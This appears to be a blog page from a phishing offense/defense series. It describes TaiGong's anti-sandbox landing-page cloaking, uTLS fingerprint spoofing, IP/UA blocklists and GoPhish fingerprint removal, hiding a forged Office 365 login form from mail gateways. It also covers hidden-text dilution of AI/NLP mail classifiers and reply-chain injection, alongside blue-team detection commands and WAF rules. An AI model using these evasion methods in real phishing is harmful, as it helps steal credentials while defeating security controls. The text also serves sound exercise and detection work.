Filter cloud-provider and security-vendor ASNs—these ranges are almost never real victims.
- Alibaba Cloud (AS45102, AS37963): China’s largest public cloud, covering East China 1/2, North China 1/2/3, South China 1, etc. Nearly all domestic commercial SEG sandboxes and third-party mail-security crawler nodes sit on Alibaba Cloud.
- Tencent Cloud (AS45090, AS132203): Tencent Cloud public egress; sandbox traffic for Tencent Enterprise Mail and WeChat Work mail security modules exits here.
- Huawei Cloud (AS55967): Huawei Cloud public egress; mail security for some government/enterprise customers.
Security-vendor ASNs: QiAnXin, Sangfor, Knownsec scan-node ranges—these vendors’ mail sandboxes and threat-intel crawlers usually have fixed egress ranges, but I did not find specific CIDRs.
References above: https://bgp.tools/
1. Bot Management Score: Use Cloudflare’s Bot Management engine; return decoy content for scores below 30.
1. Geo-IP restriction: Limit source countries to the exercise audience’s geography; if you know the target’s IP ranges, restrict down to city and drop everything outside. (Similar to the geo-fencing feature implemented later; with a CDN you can do this natively.)

0x04 TLS Fingerprint Adversarial Techniques: JA3/JA4 and uTLS Evasion

This is the lowest-level technical detail in the offense/defense game—the first layer above TCP/IP.

4.1 ClientHello Fingerprint Principles

When a client starts HTTPS it sends a ClientHello containing TLS version, cipher suites, extensions, elliptic curves, compression methods, and more. Different software stacks produce fixed structural differences:

JA3 (Salesforce, 2017): Concatenate selected fields and MD5-hash them into a 32-character fingerprint. For example, Go’s default JA3 is 771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0.
JA4 (FoxIO, 2023): A more structured, hierarchical scheme in the form t13i<cs>_<ext>_<groups>, without MD5; supports fingerprinting both sides of the handshake (JA4 Server / JA4 Client / JA4S / JA4XSS, etc.).

If you use Go’s standard net/http or gomail to make requests, traffic carries Go-unique JA3/JA4 fingerprints. (Open-source: Zeek’s ja4 plugin, Suricata JA3 support; domestic commercial: QiAnXin SkyEye, NSFOCUS NTA, Colasoft network analysis TLS fingerprint modules, and some full-packet appliances.) At the edge, seeing an unfamiliar external IP repeatedly handshaking with a specific fingerprint and behavior resembling credential-collection POSTs is enough to block immediately.

4.2 uTLS Browser Impersonation

TaiGong draws on refraction-networking/utls (GitHub, Go 1.21+). uTLS is a fork of Go’s crypto/tls that allows programmatic, precise control of ClientHello:

Preset browser templates: HelloChrome_Auto, HelloFirefox_Auto, HelloSafari_16_0, HelloIOS_14, etc.—exact imitation of cipher suite order, extension lists, and elliptic-curve combinations for the corresponding browser.
Randomized fingerprints: HelloRandomized randomly selects combinations from all cipher suites and extensions uTLS supports—useful against denylist-style detection.
Custom fingerprints: HelloCustom lets you fully hand-build ClientHello—capture a real browser ClientHello (tcpdump or Wireshark), reverse it with Fingerprinter.FingerprintClientHello() into a uTLS config, then ApplyPreset() for an exact copy.

Important limits: uTLS currently only impersonates browsers at the ClientHello stage. tls-client implements similar imitation through server Hello verification, but is less mature than uTLS. Also, Go’s standard library lacks some TLS 1.3 extensions (e.g. Compressed Certificate), so certain Chrome templates fail handshakes against specific servers. See GitHub Issue #321.

4.3 GREASE Against GREASE

RFC 8701 defines TLS GREASE (Generate Random Extensions And Sustain Extensibility) to ensure backward compatibility for protocol extensions. Chrome pioneered random insertion of GREASE cipher suites (e.g. 0x0A0A) and extension types in ClientHello so servers would not tear down on unknown values.

Interestingly, GREASE makes JA3 detection harder: Chrome may send different GREASE values per connection, so the JA3 fingerprint changes.

Advanced red-team technique: Actively add GREASE values in a custom uTLS ClientHello so the fingerprint is closer to real Chrome. But consistency matters—AI models (e.g. PerimeterX, DataDome ML classifiers) do not look only at a single handshake fingerprint; they analyze TLS behavioral consistency across the session (e.g. whether the HTTP/2 SETTINGS frame sequence after handshake matches a browser).

0x05 Payload-Layer Adversarial Techniques: Multi-Stage Probe Pages

The last line of infrastructure stealth is the landing page itself. At this layer TaiGong uses a dual architecture of client-side JS probes + server-side multi-factor joint judgment. Part of this section is lifted from research notes in TaiGong’s Chapter 6: The Advanced Identification Contest—not particularly mysterious or uniquely brilliant, but a useful concrete example to publish.

5.1 Client Dual Probes: magic.js + finger.js

TaiGong injects two independent client scripts into every landing-page template—magic.js and fing.js (finger). Their roles are roughly:

Detect navigator.webdriver

Detect HeadlessChrome/PhantomJS-style keywords in the UA
Detect whether Chrome DevTools Protocol is connected
Detect empty navigator.plugins
Detect missing navigator.languages
Detect automation-framework properties such as window._phantom, window._selenium
Detect zero window.outerWidth / outerHeight
Detect contradictions between Notification.permission and Permissions API results
Detect WebGL renderers such as SwiftShader/llvmpipe (software renderers)
Detect performance.timing DOM parse times under 5ms

Decision logic: When signals >= 2 (default threshold), document.write replaces the entire page with standard Nginx 404 HTML. After 100ms, setTimeout runs again to cover async-loaded checks (e.g. Permissions API). On sandbox detection it also fires a pixel report to /report?id=xxx&reason=sandboxer for stats.

Red team view: The engineering tradeoff is explicit—prefer false negatives over false positives, because for phishing exercises delivery rate matters more. Threshold 2 means a single anomalous signal (e.g. only UA matching HeadlessChrome) does not block; only two or more independent dimensions hit at once. In Taigong usage the backend controls this; adjust sensitivity via the threshold variable—recommended range 1–3.

Blue team view: magic.js detection logic is static and fully attributable. It cannot catch:

Sandboxes using real Chrome instances (non-headless)—WebDriver flag scrubbed, WebGL normal, plugins present
Crawlers egressing from real corporate network IPs—no static checks hit
puppeteer-extra-plugin-stealth + real browser instances—items 1, 3, 4, and 5 all bypassed

That is exactly why server-side joint judgment is indispensable.

fing.js (client environment collection) — the second script injected alongside magic.js, running after magic.js judges non-sandbox. Collection includes:

Canvas fingerprint: hash of canvas.toDataURL() for fixed text + fixed colors + fixed rectangles—different browser/OS/GPU combos produce different renders
Browser attributes: navigator.userAgent, navigator.language, navigator.platform
Screen attributes: screen.width×screen.height
Environment attributes: timezone offset (new Date().getTimezoneOffset()), touch support ('ontouchstart' in window), cookies enabled (navigator.cookieEnabled), DNT (navigator.doNotTrack)

Collected data is POSTed to a backend endpoint; the server associates it with the click event in the database for later victim behavior profiling and risk scoring.

5.2 Server Multi-Factor Joint Judgment: CheckEvasion

In server-side functions Taigong runs the following checks, priority high to low:

JA4 denylist: Exact client TLS fingerprint match against known scanner/sandbox libraries (e.g. Evilginx’s t13d191000_9dc949149365_e7c285222651)
IP denylist: Exact IP, CIDR, and wildcard-prefix formats
Cloud-provider IP blocking: Built-in 200+ CIDR rules covering AWS/Azure/GCP/Alibaba Cloud/Tencent Cloud
Crawler UA blocking: 35 known bot UA keywords—from Googlebot/Bingbot through python-requests/Go-http-client to VirusTotal/Censys; common ones are all covered
Three-tier geo-fence: Country (CN), province (CN-Guangdong), city (CN-Guangdong-Shenzhen); multi-region comma-separated mixes supported

On suspicion, per config: return 302 to a legitimate site, return a fake Nginx 404, or serve as normal.

A concrete scenario: exercise against a company’s finance department; mail spoofed as “annual audit notice”; landing page is a forged Office 365 login form.

Layer 1 — Server (request blocked before the landing page)

Some mail gateways visit the link in the background before the user ever receives the message. When the request hits the taigong server:

Cloud-provider IP block: egress IP falls in a Tencent CDN CIDR → if cloud-provider IP interception is on, return 302 to Baidu home. The gateway sees “this link redirects to Baidu” and judges it safe.
Even if cloud detection is off, UA check: TencentCloud UA contains “TencentCloud/Tencent-Cloud,” hits crawler denylist → same block.

Layer 2 — magic.js (server did not block; landing HTML returned, but sandbox never sees real content)

Suppose a more advanced sandbox—real corporate network egress, normal browser UA, no JA4 denylist hit—successfully fetches the landing HTML. magic.js then runs:

navigator.webdriver === true → +1 (sandbox driven by Selenium/Playwright)
navigator.plugins.length === 0 → +1 (headless, no plugins)
load time < 5ms → +1 (machine opens DOM in milliseconds)

signals = 3 >= 2, block triggers. document.write replaces the entire browser DOM with:

404 Not Found

Plus a pixel report: /report?id=Ab7Xk2Q&reason=sandboxer.

Sandbox perspective: It thinks it hit a page that is already offline (404)—no phishing traits captured. Sandbox verdict: safe.

Real user perspective: Receives mail, clicks link, browser opens the landing page normally. magic.js runs—navigator.webdriver is false, plugins load, render takes hundreds of ms—signals = 0, no block. Page shows the Office 365 login form. Password, submit, redirect. Fully seamless.

So the actual design intent is:

Not “prevent sandboxes from accessing,” but make sandboxes and real people see different things. Sandbox sees Nginx 404; human sees the phishing form. With both layers stacked, a sandbox must bypass IP/UA/JA4 filters server-side and hit fewer than 2 client detection signals. Does the anti-attribution design look reasonable? Limitations remain.

5.3 Real-World Effectiveness and Limits of This Approach

Limitations:

No behavioral analysis: magic.js does not track mouse trajectories, scroll detection, or Fitts’s law analysis. Some commercial anti-detection white papers tout these, but in engineering behavioral analysis is high-latency, high false-positive, and resource-heavy—cost/benefit is worse than static checks for phishing scenarios.
No delayed rendering: Landing Page HTML is returned complete; magic.js replaces content after render. If a SEG can dump a DOM snapshot before magic.js runs, it still sees the phishing form. Sandbox evolution is moving exactly toward capturing initial-state DOM.
Not a true “superposition state”: Superposition was an earlier idea of mine; I have not found a good way to implement it. Current logic is “destroy the page after detecting a sandbox,” not “do not show content until identity is uncertain.” That engineering distinction is critical—true superposition with no malicious elements in the first response requires the server to deliver phishing content only after receiving a client probe callback, adding latency and complexity.

That is the full set of my views on infrastructure for phishing operational security. But in today’s offense/defense contests, even perfectly stealthy infrastructure, once it enters the content adversarial phase, is still crushed by AI classifiers (e.g. Microsoft Defender ML models, Exchange Safety AI) if you only ship static HTML and hard-coded copy. The next article goes deep into body-level adversarial techniques: polymorphic HTML and a semantic dilution engine—making every phishing message a unique fingerprint and probing the defenses of Bayesian and NLP classifiers.

References

SubdoMailing Research — Guardio Labs, Nati Tal & Oleg Zaytsev, February 2024. https://guard.io/labs/subdomailing-thousands-of-hijacked-major-brand-subdomains-found-bombarding-users-with-millions
Cloudflare Tunnel Documentation. https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/
JA4 Network Fingerprinting — FoxIO LLC. https://github.com/FoxIO-LLC/ja4
ja4-nginx-module — FoxIO. https://github.com/FoxIO-LLC/ja4-nginx-module
Refraction Networking uTLS. https://github.com/refraction-networking/utls
RFC 8701 — TLS GREASE. https://datatracker.ietf.org/doc/html/rfc8701
Cisco Talos Sender Maturity FAQ. https://www.cisco.com/c/en/us/support/docs/security/email-security-appliance/215660-sdr-sender-maturity-faq.pdf
Proofpoint Emerging Threats Intelligence. https://www.proofpoint.com/us/products/advanced-threat-protection/et-intelligence
IDN Homograph Attack & Japanese Character Confusion — Tencent Cloud Security, 2025. https://cloud.tencent.com/developer/article/2597395
confusables-inspector — OpenSecurity, 2025. https://github.com/opensecurity/confusables-inspector
Certifiably Vulnerable: Using Certificate Transparency Logs for Target Reconnaissance — Pletinckx et al., IEEE EuroS&P 2023. https://doi.org/10.1109/EuroSP57164.2023.00038
Don’t Phish-let Me Down: FIDO Authentication Downgrade — Proofpoint US. https://www.proofpoint.com/us/blog/threat-insight/dont-phish-let-me-down-fido-authentication-downgrade
FIDO authentication undermined — CSO Online. https://www.csoonline.com/article/4040128/fido-undermined.html
Puppeteer Stealth Anti-Detection. https://scrapingant.com/blog/avoid-detection-with-puppeteer-stealth
Impact Assessment of Adversary-in-the-Middle Attack Evilginx Bypassing 2FA — Springer ICR 2025. https://link.springer.com/chapter/10.1007/978-3-031-95652-2_14
Browser Fingerprinting Techniques. https://fingerprint.com/blog/browser-fingerprinting-techniques/
Aged-domain acquisition bypass — The Record / newestek.com. https://cybersecurityinfocus.com/?p=8455

Series Navigation

邮件钓鱼攻防工程·1：GoPhish 的天花板

Fri, 03 Apr 2026 00:00:00 GMT

本文是「邮件钓鱼攻防工程」系列的开篇。不聊概念，直接切入工程实现与真实对抗场景，分析为什么开源钓鱼框架在 2025-2026 年已经触及天花板，以及一个面向实战的演练平台到底需要解决哪些技术问题。

首发至微信公众号：Yofune安全研究欢迎关注。

0x01 一个圈内人心知肚明的事实

先说一个大多数人不愿意公开写出来的现状：国内绝大多数企业的钓鱼演练，本质上是在走过场。安在新榜 2025 年《中国企业员工信息安全意识调查报告》显示，仅约 24% 的中国企业曾开展过钓鱼演练，而已开展的演练也多属于合规驱动、浅层参与。安全内参等行业媒体多次将当前培训现状描述为"形式化"和"走过场"。

流程通常是这样的：安全部门从 GitHub 拉一份 GoPhish，花半天部署到一台云主机上，用公司域名群发一封"密码即将过期"的模板邮件，统计点击率，写进季度汇报 PPT。领导点头，合规打勾，演练结束。

但问题在于，这种演练和真实攻击之间隔着一道鸿沟。

2024Microsoft Digital Defense Report 的数据很能说明问题：过去 12 个月中，基于 AiTM（Adversary-in-The-Middle）的钓鱼攻击增长了 146%，MFA 中继攻击已经成为 APT 组织的标配战术。Proofpoint 2024 State of the Phish Report 指出，83% 的受访组织在 2023 年遭遇了至少一次成功的钓鱼攻击，BEC造成的直接经济损失中位数达到 5 万美元。HP Wolf Security 2024 年报告则显示，基于 QR 码的钓鱼攻击（Quishing）同比增长超过 270%。

而我们的演练工具仍然停留在"群发一封邮件，看谁点了链接"的阶段。

这不叫演练，这叫发问卷小差。

蓝队视角：如果你的组织还在用这种"已知模板+已知域名+已知 IP"的演练方式，那么演练得出的"点击率"数据没有任何参考价值——它既测不出员工面对真实鱼叉邮件时的判断力，也测不出现有安全控制措施的实际有效性。真正的攻击者不会用 GoPhish 默认的 X-Gophish-Contact 头发邮件，也不会从阿里云直接打你的员工。

0x02 GoPhish 六类指纹的攻防解剖

先给 GoPhish 应有的尊重。Jordan Wright 在 2016 年开源这个项目时，它确实填补了一个空白——让非安全从业者也能快速搭建钓鱼模拟环境。Go 单二进制部署、内嵌 SQLite、RESTful API，这些工程决策在当时都是正确的。

不过那已经是过去十年的事情了。

但 GoPhish 的架构定位从第一天起就是"安全意识培训工具"这个定位差异导致了一系列结构性问题。

我们在审计 GoPhish v0.12.1 源码时，在 HTTP 协议栈各层梳理出六类可被指纹化的特征。以下逐一分析，每类同时给出红队的规避手段和蓝队的检测思路。

2.1 自定义 Header 指纹

这是最广为人知的问题。GoPhish 在每封发出的邮件中插入了两个自定义 Header：

X-Gophish-Contact: support@getgophish.com
X-Gophish-Signature:

红队视角：部分 GoPhish 社区 fork 版本（如evilgophish-FORK、lilloX/gophish 以及中文社区的 GoPhish 增强版）已移除或重命名这两个自定义 Header 以规避检测，Header 移除方法在多个开源绕过指南和补丁脚本中有文档记录（如 0xQRx/Gophish_Customization）。

但需注意：上游 gophish/gophish 仓库最新版 v0.12.1 仍包含这两个 Header，且 kgretzky/gophish 等高星 fork 并未明确记载移除了它们——Header 移除是以绕过检测为目的的部分 fork 所做的针对性修改，并非社区 fork 的普遍特征。即便删掉 Header，邮件头部的 Received 链中仍然可能残留 Go 标准库 SMTP 客户端特征。在 mailer/mailer.go 中，GoPhish 使用 gomail 库发送，其 MIME 构造方式和 Message-Id 的 @ 后缀格式也有可识别的模式。更彻底的方案是使用独立的 MTA（如 Postfix）作为发送中继，让邮件头部特征完全由 MTA 决定。

蓝队视角：Proofpoint、Mimecast、Microsoft Defender for Office 365 均可配置自定义邮件流规则：

condition: header_contains("X-Gophish")
action: quarantine
severity: HIGH

更进一步，可以写规则检查 Message-Id 是否匹配 Go gomail 的默认格式（UUID 无域名后缀，或后缀From 域不一致）。这些规则不需要任何威胁情报订阅，纯规则引擎即可覆盖。

2.2 路由路径指纹

GoPhish 的钓鱼服务端在 controllers/route.go 中注册了若干固定路径：

/track —— 邮件打开跟踪（追踪像素）
/report —— 举报处理
/robots.txt —— 固定内容 Disallow: /
静态资源 /static/ 下的文件

红队视角：定制化的平台必须做到路由可配置。路径名称应当可以通过配置文件动态设定，且 /robots.txt 不应该暴露任何路径信息。更激进的做法是取消独立的路由表，全部通过通配符 /{path:.*} 统一分发，由业务逻辑层根据参数路由。

蓝队视角：在反向代理或 WAF 层面，对已知钓鱼框架的路由路径进行 URL 模式匹配：

# Nginx WAF 规则示例
location ~* ^/(track|report|static/) {
 return 403;
}

modsecurity 的 REQUEST_FILENAME 规则，可以有效识别未经过改动的 GoPhish 实例。

2.3 Rid 参数指纹

GoPhish 使用 ?rid= 作为用户追踪参数。这个参数名在源码中定义为常量 RecipientParameter = “rid”，值的编码方式为 base64(sha1(email + salt))，固定 7 位字母数字字符串。

红队视角：参数名应可配置（rid、id、token、code、t 等轮换使用），编码方式也需要随机化。参数值还应当与请求绑定 HMAC 签名，防止蓝队通过穷举 RID 枚举有效目标。此外，GoPhish 的 Transparency 功能（在 RID 后追加 + 号返回完整活动信息）是一个巨大的反向追踪漏洞——它允许任何人通过 URL 反向查询活动的发送时间和联系方式。

蓝队视角：在流量日志中搜索 ?rid=[A-Za-z0-9+/=]{7,} 模式，结合 UA 和 Referer 头分析，可以快速发现非授权的钓鱼演练。更高级的做法是在 SEG 日志中提取所有 URL 参数中的类 RID 模式，做频率分析——异常高的 base64 编码参数请求通常是钓鱼活动的信号。

2.4 404 页面指纹

GoPhish 默认使用 Go 标准库的 http.NotFound 响应，返回内容为：

404 page not found

Go 标准库的 404 页面没有标题标签内的"404 Not Found"字样，响应体仅为纯文本，与 Nginx 或 Apache 的 HTML 格式 404 页面有显著区别。

红队视角：必须覆写默认的 404 处理器，返回与目标环境一致的 404 页面。TaiGong 的实现中，renderUnknownResponse 函数返回的是完整的 Nginx 风格 HTML 页面：

404 Not Found

404 Not Found
nginx

并且支持配置 UnknownRedirectURL，将无效请求直接 302 跳转到合法页面（如 Google.com），彻底消除 404 响应差异。

蓝队视角：使用 Shodan、Censys 或 FOFA 等网络测绘平台，搜索返回 Go 标准库 404 页面特征的 HTTP 服务，配合端口扫描可以发现暴露在公网的钓鱼服务器。favicon.ico 的 Hash 也是一个容易被忽视的指纹点。

2.5 TLS 指纹（JA3/JA4）

这是最容易被忽视但最具杀伤力的指纹。Go 标准库 crypto/tls 生成的 ClientHello 报文有非常独特的 CipherSuite 排列顺序和 TLS 扩展字段组合。Go 1.21+ 默认的 JA3 指纹大致为：

771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0

这个指纹与 Nginx（基于 OpenSSL）或 Apache 的 TLS 指纹完全不同，且在 JA3 开源指纹库（如 ja3er.com）中已被广泛标记。

蓝队视角：在企业网络出口部署 Zeek 或 Suricata 被动流量分析，提取所有 TLS 握手中的 JA3/JA4 指纹。如果发现某个 IP 的 JA3 指纹匹配 Go 标准库特征，且该 IP 不在已知的 Go 服务白名单（如 Docker Hub、Google API）中，那么它极大概率是钓鱼服务器。命令示例：

tshark -r capture.pcap -Y 'tls.handshake.type == 1' \
 -T fields -e tls.handshake.ja3 -e ip.src

将输出结果与已知 Go 指纹库交叉比对，即可实现不查看邮件内容、不依赖 URL 黑名单的钓鱼基础设施检测。

红队视角：对抗 JA3 指纹有两种路径。一是将 TLS层交由反向代理Nginx/Caddy/Cloudflare，让 Go 应用只监听 127.0.0.1:80 的 HTTP 明文流量，TLS 握手由 OpenSSL/BoringSSL 完成，指纹特征随之变为 Nginx/Cloudflare 的标准指纹。二是使用 crypto/tls 的自定义 Config 重写 CipherSuite 顺序和扩展字段。TaiGong 的代码中使用github.com/psanford/tlsfingerprint库实时提取客户端 JA4 指纹用于反检测，而服务端 TLS 指纹则通过前置 Nginx 解决。

2.6 静态资源指纹

GoPhish 管理后台的静态资源（CSS/JS/图片）位于 static/ 目录下，文件内容随版本固定。通过计算这些文件的 Hash 值并与已知版本比对，可以精确认定 GoPhish 版本。

红队视角：必须使用 go:embed 将前端资源打包进二进制，且每次构建时对静态资源内容做微小的非功能性变异（如修改 CSS 注释中的版本号、更改 JS 中的空白符），使 Hash 值无法匹配任何已知版本。

蓝队视角：在 HTTP 响应中提取 /static/ 路径下的 JS/CSS 文件 Hash，与 GoPhish 各版本的已知 Hash 列表（可从 GitHub Release 或 npm pack 获取）比对。这是最精确的 GoPhish 版本判定手段。

0x03 邮件安全网关的进化：从 SpamAssassin 到五层检测架构

为了理解为什么 2025 年的演练平台必须对标 APT 级别的对抗能力，有必要梳理邮件安全网关（SEG）在过去六年的技术进化路线。

3.1 传统架构（~2020）：一维检测

入站邮件 → SPF/DKIM/DMARC 检查 → 关键词黑名单 → SpamAssassin 评分 → 放行/隔离

这一代网关的核心是基于规则和声誉的静态检测。SpamAssassin 的贝叶斯分类器、Rspamd 的评分系统、RBL/DNSBL 黑名单——都是相对静态的手段。

红队视角：只要注意基本的安全策略，使用信誉良好的域名、配好 SPF/DKIM/DMARC 记录、避免在邮件正文中出现高频黑名单关键词，就能轻松绕过。

3.2 现代架构（2024-2026）：纵深五层

2020-2021 年前后，邮件安全行业经历了重要的范式转型。Gartner 在 2021 年 10 月正式定义了 ICES（Integrated Cloud Email Security）类别，Forrester 在 2020 年 Q3 定义了 CAPES（Cloud API-Enabled Email Security）类别，标志着分析师对云原生 API 邮件安全平台这一新兴品类的追认。传统的 SEG 厂商如 Proofpoint、Mimecast、Microsoft 从未使用过"单一评分模型"——Microsoft Defender for Office 365/EOP 自发布之初就部署了 20 余种检测技术构成的多层保护栈，Proofpoint TAP 早在 2012 年即包含 URL 重写、沙箱和威胁情报等多层架构，Mimecast 在 2018 年通过收购 Solebit/Ataata 扩展了其检测能力。到 2025 年，一套完整的邮件安全检测架构已经演变为五层协同体系：

入站邮件
 ├── L1 信誉层：IP/域名声誉、SPF/DKIM/DMARC 对齐校验、发件人行为画像
 ├── L2 内容层：基于 Transformer 的 NLP 语义分析、意图分类、情感检测
 ├── L3 URL 层：Headless Chrome 实时 detonation、重定向链追踪、域名年龄检查
 ├── L4 附件层：CDR（内容解除与重建）、Office 宏静态/动态分析、文件类型欺骗检测
 └── L5 行为层：用户收发习惯基线建模、异常通信模式检测（首次联系人、突发批量）

几个关键变化值得深入分析：

L2 层——NLP 语义分析。Microsoft Defender 和 Proofpoint 已部署基于 Transformer 架构的意图分类模型。这些模型不再依赖关键词匹配，而是理解邮件的语义意图："这封邮件是否在要求收件人执行某个动作（点击链接、转账、下载附件）？“传统的关键词替换（把"密码"换成"口令”、“紧急"换成"加急”）对这种语义模型完全无效。

红队视角：对抗 NLP 模型可以利用噪声注入混淆（noise injection obfuscation，KnowBe4 2026 年报告中使用的术语）或 Sublime Security（2026 年 5 月）所称的"通过隐藏文本的间接提示注入"——在邮件正文的不可见区域嵌入大量良性商务文本，稀释整体的 NLP 概率评分。这种技术并非"拉低紧急请求评分"（那只是模型的多信号之一），而是通过在良性上下文中淹没少量恶意信号，使分类器将整体邮件归类为正常商务沟通。需要注意的是，现代 SEG 已在预处理阶段增加了对 opacity:0、display:none、极小字体等隐藏文本的检测权重。

L3 层——URL 超链接预览。不是简单地检查黑名单，而是用 Headless Chrome 实际访问 URL，等待 JavaScript 执行完毕、页面完全渲染，然后分析 DOM 结构、视觉内容、表单字段。如果你的钓鱼模板访问页对所有访问者都返回完整的钓鱼表单，它在送达目标收件箱之前就已经被安全沙箱扫描。

红队视角：面向实战的平台必须嵌入反沙箱引擎——对访问者进行多维度环境检测。TaiGong 的 detections 引擎在 JS 探针（magic.js）中检测以下特征：

navigator.webdriver 属性（Headless Chrome 标记）
navigator.plugins 长度（沙箱通常禁用插件）
屏幕分辨率与色深匹配（典型虚拟化环境为 1024x768）
chrome.runtime 对象（非 Chrome 环境中加载则暴露）
鼠标轨迹（真实用户 vs 脚本注入）
Canvas 指纹与 WebGL 渲染器字符串

服务端进一步做 IP 维度过滤：200+ CIDR 覆盖 AWS/Azure/GCP/tengxunyun/aliyun/Linode/OVH/Hetzner的 IP 段。超出地理围栏范围的请求直接返回 404 或伪造的重定向。

L5 层——行为基线建模。First Contact Safety Tip 是 Microsoft Defender for Office 365 的内置功能，会在首次联系人的邮件顶部显示灰色信息提示横幅：“这是第一次收到该收件人邮件，请注意警惕.” 该功能旨在提高用户对陌生发件人的警觉。此外，Certitude Consulting（2024 年 8 月）曾披露该功能存在 CSS 绕过漏洞，攻击者可通过精心构造的 HTML 邮件完全隐藏该提示横幅。黄色横幅实际用于标记垃圾邮件分类结果，属于不同的安全功能。

红队视角：突破 L5 检测需要回复链攻击——在邮件中注入 In-Reply-To、References、Thread-Topic 和 Thread-Index 头部，将钓鱼邮件插入目标已有的合法邮件会话中。SEG 的行为基线模型看到这封邮件"属于"一个已有对话，就不会触发首次联系人检测。TaiGong 的赞助版本中已实现这一技术。

3.3 2025-2026 攻击面

防守方在升级，攻击方也从未停手。

SMTP Smuggling（CVE-2023-51766）。SEC Consult 研究员 Timo Longin 在 2023 年底披露了一个影响多个 SMTP 实现的协议级漏洞。攻击者利用不同 MTA（Postfix、Sendmail、Exchange Online）对 SMTP 数据结束序列 . 的解析差异，在单个 SMTP 会话中"走私"额外的邮件。被走私的邮件可以伪造任意发件人，且完全绕过 SPF 检查——因为从接收方 MTA 的角度看，这些邮件是从合法的源 IP 发出的。2024 年 Proofpoint 的配置不当事件进一步凸显了该漏洞的杀伤力。

红队视角：在企业 MTA 尚未修补此漏洞的情况下，SMTP Smuggling 可以构造一封 SPF/DKIM/DMARC 全部"通过"的假官方通知邮件。

SubdoMailing（Guardio Labs, 2024 年 2 月）。Guardio Labs 披露的大规模攻击活动中，攻击者系统性地扫描 MSN、VMware、McAfee 等大型组织的过期子域名 SPF/CNAME 记录，接管这些子域名后利用其良好的域名声誉发送钓鱼邮件。超过 8000 个域名和 13000 个子域名被滥用，日均发送量达 500 万封。

蓝队视角：定期审计 DNS 记录中不再使用但仍在 SPF include 列表中的子域名。使用 dnsrecon 或 Sublist3r 监控域名的子域名解析状态。CT Log（Certificate Transparency）异常监控可以提前发现针对己方域名子域名的异常证书签发。

Quishing（QR Code Phishing）。HP Wolf Security 2024 年和 Abnormal Security 的报告中均指出，基于 QR 码的钓鱼攻击增长 270%+。核心原因是邮件网关的 URL 扫描器无法识别嵌入图片中的 URL——攻击者将钓鱼链接编码为 QR 码嵌入邮件正文，用户用手机扫码后跳转到钓鱼页面，整个过程完全绕过了桌面端的安全控制。

红队视角：将 QR 码嵌入伪造的 MFA 设备绑定或考勤打卡通知邮件中，利用移动端 URL 预览截断的特点，隐藏完整链接。

蓝队视角：在邮件网关上部署 QR 码检测模块，对邮件正文中的图片进行 QR 码解码和 URL 分析。培训中明确告知员工：任何要求扫码执行操作的邮件都需要通过备用渠道确认。

0x04 蓝队检测矩阵：发现组织内外部的钓鱼基础设施

作为本系列红蓝双视角的来看，很容易起一套最简单的WAF规则。

4.1 GoPhish 实例检测

经过上述六类指纹分析，可以构建一个多维度检测脚本：

邮件 Header 层面：

# 检查 X-Gophish 自定义 Header
grep -ri "x-gophish" /var/log/mail/*.log

# 检查 Message-Id 格式异常
# GoPhish 生成的 Message-Id 通常为 ，缺少域名后缀
grep -E 'Message-Id: <[a-f0-9-]{36}>' /var/log/mail/*.log

网络流量层面：

# 提取所有 TLS 握手的 JA3 指纹
tshark -r capture.pcap -Y 'tls.handshake.type == 1' \
 -T fields -e tls.handshake.ja3 -e ip.src -e ip.dst | \
 grep "^771,4865-4866-4867-49195"

URL 模式层面：

# 搜索类 RID 的 URL 参数模式
grep -P '\?rid=[A-Za-z0-9+/=]{7,}' /var/log/nginx/access.log

配合 WAF（如 ModSecurity、Naxsi）可以自动阻断带有已知钓鱼框架特征的请求。如果使用商业 WAF（Cloudflare、Akamai），其托管规则集通常已经包含 GoPhish 的指纹规则。

4.2 高级钓鱼平台检测

当攻击者消除了上述所有可见特征后，蓝队需要升级检测手段：

域名年龄与注册信息。新注册（<30 天）的域名发送"内部通知"类邮件，是极强的可疑信号。使用 whois 或 SecurityTrails API 自动化检查邮件中链接域名的注册日期。

CT Log 异常监控。监控与组织名称相似的域名证书签发，如hr-yourcompany.com、login-microsoft.com。

可使用 certspotter 或 crt.sh 的 API 自动订阅。

邮件认证一致性检查。具体来说：

SPF Pass 但 Return-Path 域与 From 域不一致（Alignment Failure）
DKIM Pass 但签名域（d=）与 From 域不一致
DMARC 设置为 p=quarantine 或 p=reject 的域收到声称来自该域的邮件但没有 DKIM 签名——这可能是域名被仿冒

SMTP 行为异常检测。同一源 IP 在短时间内向组织内大量不同收件人发送邮件，且 MAIL FROM 信封地址与 From 头地址不一致，这是批量钓鱼活动的典型信号。Zeek 的 smtp.log 可以直接提取这些字段做分析。

基础设施关联分析。将一个钓鱼活动中使用的域名、IP、TLS 证书、JA3 指纹、邮件模板 Hash 等数据关联起来，形成威胁情报图。这就是 MISP 或 ThreatConnect 的用例场景。

0x05 基于以上认知的工程实践：Taigong 平台的设计原点

GoPhish 是一个好工具，但它属于上一个时代。

回顾六类指纹特征分析：从邮件 Header 到 TLS 握手，从 HTTP 404 页面到 JS 静态资源 Hash，任何一个未处理的特征点都可以被蓝队或网络测绘平台识别。而即使你消除了全部可见指纹，你仍然面临 GoPhish 架构层面无法解决的三大局限：单一邮件通道（无法模拟 IM/SMS/QR 多通道攻击）、无环境感知（无法区分沙箱和真实用户）、无 MFA 对抗能力（无法实现 AiTM 中继）。

在 2026 年，企业 SEG 已经从单层规则引擎进化为五层纵深检测体系，NLP 语义分析、Headless Chrome 引爆、行为基线建模已经成为标配。真实 APT 组织已经在使用 SMTP Smuggling 绕过 SPF、使用 SubdoMailing 借域名声誉发信、使用 QR 码绕过 URL 检测。如果你的演练平台还在原地踏步，那它得出来的数据——“5% 的受测员工点击了链接”——根本不是真实的暴露面。

正是基于以上这些认知，我们从头构建了一套新的钓鱼演练平台——Taigong（太公）。

Taigong 的设计出发点是：一个面向实战环境的演练平台，必须在基础设施隐匿、内容对抗、多通道投递、反沙箱检测、MFA 对抗、数据度量六个维度上同时达到真实攻击的仿真度。它不是 GoPhish 的"增强版"或"美化版"，而是从底层架构上重新定义了钓鱼演练平台的能力边界。

